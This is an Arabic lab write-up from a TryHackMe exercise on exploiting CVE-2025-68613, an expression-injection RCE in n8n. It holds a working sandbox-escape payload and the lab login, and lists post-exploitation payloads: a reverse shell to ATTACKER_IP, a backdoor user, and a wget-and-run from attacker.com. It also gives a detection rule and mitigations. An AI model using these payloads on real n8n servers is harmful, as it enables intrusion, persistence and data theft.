
يوثّق هذا المستودع استغلالاً عملياً لثغرة CVE-2025-68613 (CVSS 9.9)، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (Remote Code Execution) تؤثر على منصة n8n لأتمتة سير العمل (الإصدارات 0.211.0 حتى 1.120.3).
تم تنفيذ هذا الاستغلال بشكل أخلاقي في بيئة مختبر TryHackMe خاضعة للتحكم لأغراض تعليمية فقط.
| الحقل | القيمة |
|---|---|
| معرّف CVE | CVE-2025-68613 |
| درجة CVSS | 9.9 (حرِجة) |
| تاريخ النشر | 19 ديسمبر 2025 |
| المنتج المتأثر | منصة n8n لأتمتة سير العمل |
| نوع الثغرة | حقن التعبيرات → الهروب من العزل (Sandbox Escape) → RCE |
| ناقل الهجوم | مستخدم مُصادَق (افتراضي) |
| الإصدارات المُصحَّحة | 1.120.4، 1.121.1، 1.122.0+ |
| الإصدارات المتأثرة | 0.211.0 - 1.120.3 |
n8n هي منصة مفتوحة المصدر لأتمتة سير العمل تتيح للمستخدمين ربط التطبيقات والخدمات بصرياً لأتمتة المهام. وتتميز بما يلي:
{{ }} يتم تقييمها كـ JavaScriptتكمن الثغرة في نظام تقييم تعبيرات سير العمل في n8n. فعندما يقوم المستخدمون المُصادَقون بتكوين سير العمل، تتم معالجة مدخلاتهم كتعليمات برمجية JavaScript دون عزل (sandboxing) مناسب.
صندوق عزل التعبيرات (Expression Sandbox)
↓ (الهروب عبر 'this')
سياق Node.js العام
↓ (الوصول إلى mainModule)
نظام الوحدات (require)
↓ (تحميل child_process)
تنفيذ أوامر النظام
{{ }} كـ JavaScript خام دون عزل سياق مناسبthis يتيح الهروب من قيود العزل المقصودةprocess.mainModule.require() الوصول إلى نظام وحدات Node.jschild_process لتنفيذ أوامر النظام(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
الشرح:
this → الكائن العام في Node.jsthis.process → كائن العملية في Node.jsprocess.mainModule → الوحدة الجذرية لتطبيق n8n.require('child_process') → تحميل وحدة تنفيذ أوامر النظام.execSync('COMMAND') → تنفيذ أمر shell بشكل متزامن.toString() → تحويل مخرجات Buffer إلى نص قابل للقراءةالوصول إلى مثيل n8n الثغري وتسجيل الدخول ببيانات اعتماد صالحة.
بيانات اعتماد المختبر:
[email protected]Try12345!
بعد تسجيل الدخول، تظهر لك واجهة إنشاء سير العمل. انقر على "Start from scratch" لبدء سير عمل جديد.

انقر على "Add first step" وابحث عن "Manual Trigger". تعمل هذه العقدة كنقطة دخول لتنفيذ سير العمل.

الغرض: تتيح عقدة المشغّل اليدوي تنفيذ سير العمل يدوياً عبر زر "Execute workflow" في الواجهة، مما يجعلها مثالية للاختبار.
أضف عقدة "Edit Fields" لإجراء تعيين الحقول. هنا يتم استغلال الثغرة.

خطوات التكوين:
احقن الحمولة لتنفيذ الأمر id والحصول على معلومات المستخدم/الصلاحيات.
الحمولة:
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
النتيجة:
uid=1000(node) gid=1000(node) groups=1000(node)

المعلومات التي تم جمعها:
عدّل الحمولة لتنفيذ الأمر ls وسرد محتويات الدليل.
الحمولة:
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

يوضح المخرجات:
flag.txtاقرأ ملف العلم باستخدام الأمر cat لإكمال الاستغلال.
الحمولة:
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
العلم المستخرج:
THM{n8n_exposed_workflow}

إنشاء وصول تفاعلي للصدفة للتحكم المستمر:
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString()
})()
إضافة مستخدم نظام جديد للوصول المستمر:
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString()
})()
جلب وتنفيذ تعليمات برمجية عن بُعد:
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()
التحقق من صلاحيات sudo:
(function(){
return this.process.mainModule.require('child_process').execSync('sudo -l').toString()
})()
استخراج متغيرات البيئة:
(function(){
return this.process.mainModule.require('child_process').execSync('env').toString()
})()
قم بتكوين الوكيل الخاص بك لتسجيل أجسام الطلبات (request bodies) للتحليل:
http {
log_format detailed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'Request-Body: "$request_body" '
'Duration: $request_time s';
access_log /var/log/nginx/detailed_access.log detailed;
}
كشف محاولات الاستغلال عبر طلبات واجهة برمجة تطبيقات سير العمل:
title: CVE-2025-68613 - n8n Expression Injection RCE
logsource:
category: web_application_firewall
detection:
keywords:
- "process.mainModule.require"
- "child_process"
- "execSync"
condition: keywords
filter:
field: uri_path
value: "/rest/workflows"
method: POST
راقب العمليات الفرعية المشبوهة التي يُنشئها n8n:
/root/.n8n/logs//var/log/auth.log، /var/log/syslogprocess.mainModulerequire('child_process')execSync أو spawnقم بتحديث n8n إلى الإصدارات المُصحَّحة:
تقييد الوصول إلى الشبكة
مصادقة قوية
المراقبة والتسجيل
التحقق من المدخلات وتنقيتها (Sanitization)
تنفيذ العزل (Sandbox)
مبدأ الامتياز الأقل (Least Privilege)
مراجعة التعليمات البرمجية والاختبار الأمني
تم إعداد هذه الوثائق لأغراض تعليمية واختبار أمني مصرح به فقط. التقنيات الموصوفة مخصصة لـ:
الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. احصل دائماً على تفويض كتابي مناسب قبل إجراء الاختبارات الأمنية.
.
├── README.md # This file
├── exploitation-details.md # Technical deep-dive guide
├── screenshots/
│ ├── 01-login.png
│ ├── 02-Welcome.png
│ ├── 03-Manual_Trigger.png
│ ├── 04-Workflow-setup.png
│ ├── 05-rce_id.png
│ ├── 06-Change_id_ls.png
│ └── rce_cat_flag.png
└── notes/
└── exploitation-details.md
يوثّق هذا التقرير الاستغلال الناجح لثغرة CVE-2025-68613 في بيئة مختبر TryHackMe. تُظهر الثغرة الأهمية الحاسمة للتقييم الآمن للتعليمات البرمجية ومخاطر التنفيذ غير الكافي للعزل في منصات الأتمتة.
يساعد فهم هذه الثغرة كلاً من فرق الأمن الهجومية على تحديد المشكلات المماثلة وفرق الدفاع على تطوير استراتيجيات كشف أكثر فعالية.
| الخطوة | الإجراء | الوقت |
|---|
| 1 | الوصول إلى مثيل n8n | ثوانٍ |
| 2 | إنشاء/تعديل سير العمل | أقل من دقيقة |
| 3 | إضافة عقدة تعيين الحقول | أقل من دقيقة |
| 4 | حقن وتنفيذ الأمر id | أقل من 30 ثانية |
| 5 | استكشاف نظام الملفات باستخدام ls | أقل من دقيقة |
| 6 | استخراج البيانات باستخدام cat | أقل من 30 ثانية |
| الإجمالي | استغلال RCE كامل | أقل من 5 دقائق |